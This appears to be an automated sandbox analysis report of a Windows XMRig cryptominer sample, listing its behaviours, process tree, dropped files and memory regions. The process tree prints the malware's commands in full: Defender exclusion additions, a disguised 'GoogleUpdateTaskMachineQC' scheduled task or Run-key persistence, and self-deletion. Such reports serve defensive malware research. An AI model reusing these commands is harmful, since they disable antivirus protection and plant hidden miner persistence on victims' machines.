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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1798s
  • max time network
    1792s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
    "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2980
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1464
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:404
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:432
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2008
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:4840
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2632
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4300
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:2344
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5080
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:3160
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:3012

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 120KB
                • SHA256 48a8466787df31640d3aaca58369c2796570d9990417933b002d975d991dad8a
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 524KB
                • SHA256 ccd21c09a3331a9d03b9e2b266d258f18f780aac488cccc20332f37dc4618a9e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 0fe043e925e73fa82b319b13b93bf563834e56d520a3c793c78655c8988b439d
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_4il2s504.dki.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4il2s504.dki.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/320-80-0x000002029DF60000-0x000002029DF6A000-memory.dmp

                memory/320-76-0x000002029CFA0000-0x000002029CFB0000-memory.dmp

                memory/320-82-0x000002029DF70000-0x000002029DF78000-memory.dmp

                memory/320-64-0x000002029CFA0000-0x000002029CFB0000-memory.dmp

                memory/320-79-0x000002029DF80000-0x000002029DF9C000-memory.dmp

                memory/320-85-0x000002029CFA0000-0x000002029CFB0000-memory.dmp

                memory/320-88-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/320-84-0x000002029DFB0000-0x000002029DFBA000-memory.dmp

                memory/320-78-0x000002029DD30000-0x000002029DD3A000-memory.dmp

                memory/320-77-0x000002029DD60000-0x000002029DE15000-memory.dmp

                memory/320-75-0x000002029DD40000-0x000002029DD5C000-memory.dmp

                memory/320-63-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/320-83-0x000002029DFA0000-0x000002029DFA6000-memory.dmp

                memory/320-81-0x000002029DFC0000-0x000002029DFDA000-memory.dmp

                memory/320-65-0x000002029CFA0000-0x000002029CFB0000-memory.dmp

                memory/404-28-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/404-32-0x00000229A2CB0000-0x00000229A2CC0000-memory.dmp

                memory/404-34-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/404-30-0x00000229A2CB0000-0x00000229A2CC0000-memory.dmp

                memory/404-29-0x00000229A2CB0000-0x00000229A2CC0000-memory.dmp

                memory/404-31-0x00000229A2CB0000-0x00000229A2CC0000-memory.dmp

                memory/432-49-0x000001E4E9630000-0x000001E4E9640000-memory.dmp

                memory/432-47-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/432-52-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/432-48-0x000001E4E9630000-0x000001E4E9640000-memory.dmp

                memory/1464-16-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/1464-12-0x0000023344E50000-0x0000023344E60000-memory.dmp

                memory/1464-13-0x0000023344E50000-0x0000023344E60000-memory.dmp

                memory/1464-11-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/1464-6-0x000002335ECD0000-0x000002335ECF2000-memory.dmp

                memory/2008-112-0x000002C1BBA20000-0x000002C1BBA30000-memory.dmp

                memory/2008-115-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/2008-99-0x00007FFFCDD10000-0x00007FFFCE7D1000-memory.dmp

                memory/2008-101-0x000002C1BBA20000-0x000002C1BBA30000-memory.dmp

                memory/2008-100-0x000002C1BBA20000-0x000002C1BBA30000-memory.dmp

                memory/2008-113-0x000002C1BBA20000-0x000002C1BBA30000-memory.dmp

                memory/2980-0-0x00007FF6E5C80000-0x00007FF6E5E91000-memory.dmp

                memory/2980-36-0x00007FF6E5C80000-0x00007FF6E5E91000-memory.dmp

                memory/4300-133-0x00007FF77EE30000-0x00007FF77EE46000-memory.dmp

                memory/4300-126-0x00007FF77EE30000-0x00007FF77EE46000-memory.dmp

                memory/4840-142-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-150-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-125-0x00000248EA110000-0x00000248EA130000-memory.dmp

                memory/4840-121-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-127-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-128-0x00000248EA130000-0x00000248EA150000-memory.dmp

                memory/4840-129-0x00000248EA150000-0x00000248EA170000-memory.dmp

                memory/4840-131-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-132-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-188-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-134-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-135-0x00000248EA130000-0x00000248EA150000-memory.dmp

                memory/4840-137-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-138-0x00000248EA150000-0x00000248EA170000-memory.dmp

                memory/4840-140-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-186-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-144-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-146-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-148-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-120-0x00000248E9A20000-0x00000248E9A40000-memory.dmp

                memory/4840-152-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-154-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-156-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-158-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-160-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-162-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-164-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-166-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-168-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-170-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-172-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-174-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-176-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-178-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-180-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-182-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/4840-184-0x00007FF7822B0000-0x00007FF782AA4000-memory.dmp

                memory/5080-119-0x00007FF787CD0000-0x00007FF787EE1000-memory.dmp

                memory/5080-53-0x00007FF787CD0000-0x00007FF787EE1000-memory.dmp